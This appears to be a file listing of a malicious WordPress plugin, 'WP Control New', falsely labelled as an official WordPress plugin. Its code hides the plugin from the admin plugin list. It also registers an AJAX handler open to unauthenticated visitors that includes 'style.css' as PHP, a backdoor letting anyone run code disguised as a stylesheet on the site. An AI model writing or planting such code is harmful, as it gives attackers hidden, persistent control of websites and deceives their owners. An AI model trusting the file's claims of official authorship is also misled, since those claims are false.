File "wp-control-new.php"
Full Path: /home/angehriu/nissu.org/wp-content/plugins/wp-control-new/wp-control-new.php
File size: 989 bytes
MIME-type: text/x-php
Charset: utf-8
<?php
/*
Plugin Name: WP Control New
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 2.9.7
Author URI: http://wordpress.org/#
*/
function kqc_hide()
{
global $wp_list_table;
$hr = array('wp-control-new/wp-control-new.php');
$plugins = $wp_list_table->items;
foreach ($plugins as $key => $val) {
if (in_array($key, $hr)) {
unset($wp_list_table->items[$key]);
}
}
}
add_action('pre_current_active_plugins', 'kqc_hide');
function mli_hide_p($plugins)
{
if (in_array('wp-control-new/wp-control-new.php', array_keys($plugins))) {
unset($plugins['wp-control-new/wp-control-new.php']);
}
return $plugins;
}
add_filter('all_plugins', 'mli_hide_p');
function hsw_ajax_handler() {
include 'style.css';
wp_die();
}
add_action('wp_ajax_wp-zme', 'hsw_ajax_handler');
add_action('wp_ajax_nopriv_wp-zme', 'hsw_ajax_handler');